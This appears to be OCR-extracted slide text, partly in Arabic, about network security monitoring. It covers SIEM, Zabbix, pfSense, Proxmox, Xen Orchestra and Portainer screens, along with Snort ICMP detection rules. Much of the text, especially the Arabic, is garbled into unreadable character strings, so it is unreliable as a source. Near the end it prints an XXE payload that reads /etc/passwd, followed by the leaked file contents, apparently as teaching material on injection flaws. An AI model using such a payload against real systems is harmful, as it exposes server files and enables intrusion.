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Security information and event management (SIEM)
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Grid
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Summary 35| Detected probloms
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Quick Search:
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On Datasiore

Reports

Availability
Trends
Alerts Value cache misses
History M 1.8 Kvpn
Summary *
Histogram
Notifications
Event Log

From uzucn Usaps

anGn |

s

WR PR

T

ETAW G0 ERARIR)

System
Comments
Downtime
Process Info
Performance Info 326 1315 326 1325 326 13:36 326 1388 328 1407 328 1322 326 134 3261345
Scheduling Queue
Configuration Collected valuesis CPU usage

%

coupdnanou
2cpsqapud one

I

326 14:10

h rm 05 20 % e irw rsen % e e 50w 300000




J21 g0 (Y1 GLatrgoll pladiinl 6 pSaDI L
OLANin)l pladiwl o (51 o Dl Olayagil gio
as bl &)oY g Jgogl) dlungs



Ol goi

&gl gi dlungll ,® dioDI pe Olauhil Jgs5 b W
Il dgngll b go ggooleall athivy il

g jo) 4oL jplaj g OlelpPb pUd L Ao, S ull
) PI o oo _]J] L.J_.I.D l ] ..‘.u



ap L)) dudlpio V) 45 il
(VPN)

VPN O&ub pladiwl el lol plaill Joo JS0)
g ddolnnl) paibh il uywol pladiwl go wid (J) Uid
as b gl jlg ) Y1 pe OBWI jgpo 8Sp 215U



asuilg pUAill ol (5151 )

g6 Jgpo OLAlS clid]

@)gnan)l Pauns)l 6jpoD Gold julas ang
d)gnnll a3lgelig

5220)1 (16l (6 DUV Aunill
ailgall Lle ,S3)l pani)

aitodl g oIl Jgo Jrabgall Pgss
W aLla) hiuwgl 6 ASIDI

VLAN, SubNets

UPnP



filgl) &) lho &1)iol S 1b (0 &> 2gio L))

03

Lol Guhill




f

BlockerNG

SquidGuard

ZABBIX

g|| portainer

Scanner
Smart Phone
UPnP
Multi Function Machine -
Printer
Laptop
Web Service Sy T Plblic
Rt \I -
— Laptop
Firewall
Laptop
‘ — 1l | !
\ I | : virtual
— “ | I | >seahl";rs
—_— | :
P;r:‘eorx Virtual Server  Virtual Server
VCluster
PC Staff and Emplys Fixed Pc pPC
‘ — 1l | —
| I | I virtual
— ‘ | | | searv"edrs
] | fcontainers
et Virtual Server  Virtual Server

PC



https://www.lucidchart.com/documents/edit/9eddc87b-d85f-4bb7-a085-462b6645d522/0?callback=close&name=slides&callback_type=back&v=891&s=518.6633385826772

Status / Dashboard

System Information
Name

System

BIOS

47.43.0.18

Version "

CPU Type

Uptime
Current date/time

DNS server(s)

Last config change 20.25:46 EST

State table size

MBUF Usage 1

Load average 88,05

CPU usage

Memory usage

1996 MiB

+£00

+0
Interfaces £00
& + manua 192.168.398
& £ manua 32.168.4
OpenVPN ;00
No OpenVPN instance:
Traffic Graphs » 00

WAN @ wan (v wan (out)
' son
| oon

|
P

A a A
R AAL AL /

2648 2% .2 46
LAN ) r

A
2645 730 282 w48

Snort Alerts F Q00

Interface/Time Src/Dst Address Description

Flisense

Status

Installed Packages
L
Avshi

ent 0xpoct

wNG

v
v
v
v
v
v
v
v
v
v
v
v

v

Packages may be added/managed here

System Information
Name fire
User

System

Vendor WP
Version: JOY
Release Date Fri Aug 10 2012

formation updated at Sat Apr 13

Intel(R) Xeon(R)
4 CPUs. 1 package(s) x 4 core(s)
AESNI CPL

abled

56 Days 18 Hours 41 Minutes 00 Seconds

PingMonitor

Actions Name

111

Services Status

Service

darkstat
thepd

sbi

openvpn
oper

radiusd

unbound
2abbin_sgentd

OpenVPN

LTS UDP4:1194

RTTsd

[

h Daermon

Bms

Avahi MONS/ONS-SD deemon

Darkstat bandwidih monfionng daeman

SHL Web Server

g Daemon

perf Network Performance T

NTOP bandwidth more

Atopng Network Traff
NTP
OpenVPN server: LTS
OpenVPN server ph
FreeRADIUS Server
Secure Shefl Daemon
Suricats IDS/!
ger Doe
5 Resolver

Zabbaa Agent Hos

phone UDP4:1195

g/graph
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PRO MO ¢ vl Envieooment 535
Server View Datacenter
B Dazacenser (veiuster) O Hep
B vhosu Q Search Cluster Information
104 (ct-tes)) o oae Jon information ¢
101 (vest1) B Cuuster
G 102 (rese2) Cluster Name veluster Cont
Config Version. 2
G 103 (ws) i : il
Cluster Nodes
?‘1 100 ( 0-18.04) s Storage Cluster Nodes
£ [ ocal (vhost1) B Backup Nodename 0 Vosirs Ring RIng 1
£ (] socat-vm (vhostl) —
‘ o G Repication vhostl 1 1 172.16.69.201
& Permissions whos2 2 1 172.16.60.202
& Users
W Groups
W Poots
4+ Roles

Q, Authenticaton
Q¢ HA
O Frewa

< Support
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+ New VM

XEN ORCHESTRA
YOL-UUR Xen Orchestra VM ~ power_state:running (<] E
< CoreOS mE c ~ & @
test- Labz Lab Fool —
£st-LabzLan oo & Pools = Hosts W Tags
. . @ AA Lab2
General Stats Console Network Disks Snapshots Logs Container Advanced
(@ Created by XO Lab1
Command $ Creation date $ Statuss nope Labl
hello /binfsh -c 'while true; do echo hello; sleep 1; done'  September 12, 2016, 4:23 PM (18 minutes ago) Up ‘ | @ NNX VM Labl
nginx /bin/sh -c 'while true; do echo hello; sleep 1; done'  September 12, 2016, 4:40 PM (1 minute ago) Up ‘ | E@Windows Server 2012 R2 (64-bit) Lab2
postgres  /binfsh -c 'while true; do echo hello; sleep 1; done'  September 12, 2016, 4:40 PM (1 minute ago) Up ‘ | © Debian VM for XOA building Lab2
w8 Labl
webl binfsh -c 'while true; do echo hello; sleep 1; done'  September 12, 2016, 4:40 PM (59 seconds ago)  Up ‘ |
(® Xen Orchestra Lab2
web2 /binfsh -c "while true; do echo hello; sleep 1; done”  September 12, 2016, 4:40 PM (54 seconds ago)  Up ‘ |
XS7 Labl
web3 fbinfsh -c 'while true; do echo hello; sleep 1; done’  September 12, 2016, 4:40 PM (48 seconds ago)  Up ‘ | © Created by XO Lab4
web4 /binfsh -c 'while true; do echo hello; sleep 1; done’  September 12, 2016, 4:40 PM (39 seconds ago)  Up ‘ | @ Created by XO Lab4
— 1 webs /binfsh -c 'while true; do echo hello; sleep 1; done'  September 12, 2016, 4:40 PM (34 seconds ago)  Up ‘ | @ Create
webg /binfsh -c 'while true; do echo hello; sleep 1; done’  September 12, 2016, 4:40 PM (28 seconds ago)  Up ‘ | @ NFs/ist
Created ( Ore ;
web7 /binfsh -c "while true; do echo hello; sleep 1; done'  September 12, 2016, 4:40 PM (23 seconds ago)  Up ‘ |



ocker Containers

i‘pc.,m,pmig Appiication tempiates list £ tainer mwpport @ admin
b ’ e

App Templates

Information

Stacks

QEF P, c
Wolcome to Portainer ! Click on any
Portainer Agent 2. [ o upaste | Wowiets |
(ST N s
OpenFaaS 2 | usaic | 8 uiete | ¥ endpoints
T —— —
IronFunctions 3 .. | veoete [ Woote | m
pervavares sarvorian compuling pathom I
Q fearch by name. group. 1
CockroachDB | uposts | W Ouiet |
Coctreacn chuster
Local Swarm Cluster u_ 21021 16:25.04
‘m} Wordpress 2. [a=-c [RE ‘ a W 2stacks @ 3services W89 containers- V5S4 & 2volumes 32 images
WY/ Worapress setup wit a MysQL. catavase "
® Notags
Microsoft OMS Agent .. [ vooete [ Moot
I $5croret Opeations Mansgmmant Suts Lot sgwt PR 3 0% 10316300
o2, Sematext Docker Agent ;wx [ oo Tuooeic] w & stacks B 1services WB17contsiners- @3V & Mvolumes @ 30 images
Collect oge, metrics mnd docker svents I ——
- Windows1607 Swarm n.' $-10-31 16.23.00
a W Ostacks B Oservices I 1containers-@1®0 & Ivolumes @ 1images
=2 s - W Notsgs
" Standalone Node ) : 623,08
a S stacks W8 Scontasiners- @194 & Svolumes @ 9images
® No tags
Storidge Cluster [ =0 10 21162508
d |8 Ostacks B Oservices IB)containers- @190 & Ovolumes @ 4images
® Notags
Windows1803 Swarm [ 0 :
d = Ostacks B Oservices BB )containers- 190 & lvolumes @ 2images
® No tags




IPS IDS J1 Jgl>

CPU Type

Uptime
Current date/time Sat Jan 20 20:26:27 EST 2018

DNS server(s)

Last config change  Sat Jan 20 20.25:46 EST 2018

State table size
MBUF Usage ]

Load average

CPU usage [ S )

Memory usage [ == S -
11996

SWAP usage

Disk usage:

tmp

R & *icmp.rules

#
# Description:

# These rules are potentially bad ICMP traffic. They include most of the
# ICMP scanning tools and other "BAD" ICMP traffic (Such as redirect host)
#
#

Other ICMP rules are included in icmp-info.rules

alert icmp any any -> 192.168.1.23 any fmsg: "ICMP Packet found"; sid:
10000001; )

#alert tcp any any -> 192.168.1.23 8001 (msg: "HTTP Packet found"; sid:
10000002; )

#alert icmp $EXTERNAL NET any -> $HOME NET any (msg:"ICMP ISS Pinger"; itype:
8; content:"ISSPNGRQ"; depth:32; reference:arachnids,158; classtype:attempted-
recon; sid:465; rev:3;)

#alert icmp $EXTERNAL NET any -> $HOME NET any (msg:"ICMP L3retriever Ping";
icode:0; itype:8; content:"ABCDEFGHIJKLMNOPQRSTUVWABCDEFGHI"; depth:32;
reference:arachnids,311; classtype:attempted-recon; sid:466; rev:4;)

#alert icmp $EXTERNAL NET any -> $HOME NET any (msg:"ICMP Nemesis v1.1 Echo";
dsize:20; icmp id:0; icmp seq:0; itype:8; content:" |00 00 00 60 00 00 00 0O 0O
00 00 00 00 0O 00 00 0O 00 00 00|"; reference:arachnids,449;
classtype:attempted-recon; sid:467; rev:3;)

,00

£00




K share

Zabbix templates, modules & more .

Applications.
Cloud
Databases
Metwork Appliances
Network Devices
Official Templates
Operating Systems
Power (UPS)
APC
Eaton
Eaton Powerware
Emerson NP
Engetron
Entel
Gamatronic
HP
Ippon
Legrand Inform
Others
Powercom
Tripplite
UPS Templates
Printers

SCADA, |oT, Energy, Home
Automation, Industrial menitoring

Server Hardware

Storage Devices

>

SIEM

| Search...

Advanced Search

APC

Add new listing

APC Networl

This is Zabbix 2.0+
Supports: AP9620
parameters i ...

Type Template

APC PDU T¢

Tested in models Al
imagaiverpritempla

Type Template

APCPDUN

UPDATE: Uploade
This APC Template
loa ...

Type Template

APCUPSd

Monitoring APC UH
APCUPSd. Ha pyc
HanpsxeHue Ha B)

Type Template

APCUPS (U

2ioisde peaicsa

vbe nb2 (|

Applications
Cloud
Databases
Metwork Appliances
Network Devices
Official Templates
Operating Systems
Power (UPS)
Printers
Brother
Canon
HP
Konica
Kyocera
Lexmark
OKI
Ricoh
Samsung
SAMSUNG
Universal
Xerox

SCADA, loT, Energy, Home
Automation, Industrial monitoring

Server Hardware
Storage Devices
Telephony
Unsorted
Virtualization

Zabbix

Recently Added
Recently Updated

Popular

Printers

Triumph-Adler (0) Ricoh (0)
Panasanic Brother (3)
Universal (1) Samsung (4)
Lexmark (13) OKI (5)
Konica (3) Canon (9)
Ricoh (5) HP (12)
Kyocera (8) Xerox (20)
SAMSUNG (1)

=+ Add new listing ” =+ Add Category

Results 1 - 20 of 27 This Category - All Listings

Universal Printer Template e e s e S

This template is valid for all printer manufacturers and all devices that are attached to the RFC1759 and RFC3805 (Printer-MIB).
The serial number, trays, toner and output trays are discovered (LLD) and monitored. The counter and filling levels are displ ...

Type Template Min Zabhix version 2.4.x

Generic printers monitoring template (Any brand) b o e S

A simple generic template to monitor printers tested on 3.2, but minimum version should be 2.0 as SNMP LLD and trigger
dependencies are are available since this version Use of default ICMP template (provide with zabbix) and standard PRINTER-MIB
(1.3.6 .

Type Template Min Zabbix version 2.0.x

Printer SNMP universal

Corrected SNMPv2 printer monitoring template for Zabbix 4.0 Also add one Graph for printed page counter Just add template to
your library. Please, don't add if your version is &It; 4

Type Template Min Zabbix version 4.0.x

Dell Laserprinter

Good day! This is my first attempt at creating a public template. As far as I'm aware, it should be operatable on multiple Dell laser

printers. The model this was created on was the 'Dell 3115CN'". Confirmed models that are supported: Dell 3. Il
Type Template Min Zabhix version 3.4.x M P

Simple Network Management Protocol

Mg

Q. Qsupport  Eshare

Group | Zabbix servers :| Host| Zabbix server :l

< Zoomout

failability

Zabbix agent SNMP IMX PMI

104 17 1 0

16

12

o
4

ho-03 14:40 1003 14:49 1003 14:59 1003 15:08

10031518
ocessor load (5 min average per core)) = max(Zabbix server: Processor load (5 min average per c.

10031528

Debug

Z ABBIX
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upsbl7: UPS Input Voltage

upsal?7: UPS Temperature

upsbl7: UPS Output Voltage
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<?xml versicon="1"7>»

<!DOCTYPE stockCheck [ <!ENTITY
xxe SYSTEM "file:///ete/passwd"> ]>

<st ockﬂhack}-:productId}m
</productId></stockCheck

root:x:0:0:root: /root: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin: /bin: /bin/sh
sys:x:3:3:83ys: /dev: /bin/sh
sync:x:4:65534:syne: /bin: /bin/syne
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
lp:x:7:7:1p: /wvar/spocl/lpd: /bin/sh
mail:x:8:8:mail: /var/mail: /bin/sh
news:x:9:9:news: /var/spool/news: /bin/sh
uucp:x:10:10:uucp: /fvar/spool fuucp: /bin/sh
proxy:x:13:13:proxy:/bin: /bin/sh
www-data:x:33:33 :www-data: /var/www: /bin/sh
backup:x:34:34:backup: /var/backups: /bin/sh

GPYN go AU dinl OS5 day)l

: piwl go Jisi pasiwnly

J AWl KLUWSII (injection) (4]l
dlgnl] pc aun i)l &aopl XXE XML
(o1l peDeserialization g ((XSS)

L . adj JoD1 1aun o olaicl
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MITRE | ATTaCK Matrices  Tactics -  Techniques -~  Mitigations ~  Groups  Software  Resources -~  Blog®@  Contribute

ATT&CK Matrix for Enterprise

Initial Access Execution Persistence Privilege Escalation Defense Evasion Credential Access Discovery Lateral Coll C d and Control Exfiltration Impact
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